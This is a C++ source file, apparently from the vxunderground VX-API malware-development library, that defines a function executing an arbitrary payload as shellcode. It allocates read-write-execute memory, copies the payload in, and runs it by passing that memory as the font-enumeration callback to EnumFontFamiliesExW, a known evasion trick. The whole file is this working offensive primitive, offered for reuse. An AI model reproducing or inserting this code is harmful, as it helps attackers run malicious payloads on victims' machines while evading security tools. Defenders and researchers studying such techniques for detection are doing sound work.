Files
vxunderground-VX-API/VX-API/MpfSceViaEnumFontFamiliesExW.cpp
T
vxunderground c91d3da65e 2.0.559
2.0.559
2022-12-24 14:53:28 -06:00

24 lines
694 B
C++

#include "Win32Helper.h"
VOID InvokeEnumFontFamiliesExWThreadCallbackRoutine(LPVOID lpParameter)
{
LOGFONTW Font = { 0 };
Font.lfCharSet = DEFAULT_CHARSET;
EnumFontFamiliesExW(GetDC(NULL), &Font, (FONTENUMPROCW)lpParameter, NULL, NULL);
}
BOOL MpfSceViaEnumFontFamiliesExW(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes)
{
LPVOID BinAddress = NULL;
BinAddress = VirtualAlloc(NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (BinAddress == NULL)
return FALSE;
CopyMemoryEx(BinAddress, Payload, PayloadSizeInBytes);
CreateThreadAndWaitForCompletion((LPTHREAD_START_ROUTINE)InvokeEnumFontFamiliesExWThreadCallbackRoutine, BinAddress, INFINITE);
return TRUE;
}